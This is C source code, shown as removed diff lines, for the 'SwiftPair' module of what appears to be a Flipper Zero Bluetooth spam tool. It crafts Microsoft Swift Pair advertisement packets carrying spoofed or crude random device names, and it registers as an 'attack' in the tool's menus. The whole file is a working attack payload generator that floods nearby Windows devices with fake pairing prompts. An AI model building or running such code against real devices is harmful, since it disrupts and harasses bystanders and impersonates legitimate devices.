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- #include "swiftpair.h"
- #include "_protocols.h"
- // Hacked together by @Willy-JL and @Spooks4576
- // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
- static const char* swiftpair_get_name(const ProtocolCfg* _cfg) {
- UNUSED(_cfg);
- return "SwiftPair";
- }
- static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
- const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL;
- const char* name;
- if(cfg && cfg->name[0] != '\0') {
- name = cfg->name;
- } else {
- const char* names[] = {
- "Assquach💦",
- "Flipper 🐬",
- "iOS 17 🍎",
- "Kink💦",
- "👉👌",
- "🔵🦷",
- };
- name = names[rand() % COUNT_OF(names)];
- }
- uint8_t name_len = strlen(name);
- uint8_t size = 7 + name_len;
- uint8_t* packet = malloc(size);
- uint8_t i = 0;
- packet[i++] = size - 1; // Size
- packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
- packet[i++] = 0x06; // Company ID (Microsoft)
- packet[i++] = 0x00; // ...
- packet[i++] = 0x03; // Microsoft Beacon ID
- packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
- packet[i++] = 0x80; // Reserved RSSI Byte
- memcpy(&packet[i], name, name_len);
- i += name_len;
- *_size = size;
- *_packet = packet;
- }
- enum {
- _ConfigExtraStart = ConfigExtraStart,
- ConfigName,
- ConfigInfoRequire,
- ConfigCOUNT,
- };
- static void config_callback(void* _ctx, uint32_t index) {
- Ctx* ctx = _ctx;
- scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
- switch(index) {
- case ConfigName:
- scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
- break;
- case ConfigInfoRequire:
- break;
- default:
- ctx->fallback_config_enter(ctx, index);
- break;
- }
- }
- static void swiftpair_extra_config(Ctx* ctx) {
- SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
- VariableItemList* list = ctx->variable_item_list;
- VariableItem* item;
- item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
- variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random");
- variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
- variable_item_list_set_enter_callback(list, config_callback, ctx);
- }
- static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) {
- UNUSED(_cfg);
- return ConfigCOUNT - ConfigExtraStart - 1;
- }
- const Protocol protocol_swiftpair = {
- .icon = &I_windows,
- .get_name = swiftpair_get_name,
- .make_packet = swiftpair_make_packet,
- .extra_config = swiftpair_extra_config,
- .config_count = swiftpair_config_count,
- };
- static void name_callback(void* _ctx) {
- Ctx* ctx = _ctx;
- scene_manager_previous_scene(ctx->scene_manager);
- }
- void scene_swiftpair_name_on_enter(void* _ctx) {
- Ctx* ctx = _ctx;
- SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
- TextInput* text_input = ctx->text_input;
- text_input_reset(text_input);
- text_input_set_header_text(text_input, "Leave empty for random");
- text_input_set_result_callback(
- text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
- text_input_set_minimum_length(text_input, 0);
- view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
- }
- bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
- UNUSED(_ctx);
- UNUSED(event);
- return false;
- }
- void scene_swiftpair_name_on_exit(void* _ctx) {
- UNUSED(_ctx);
- }
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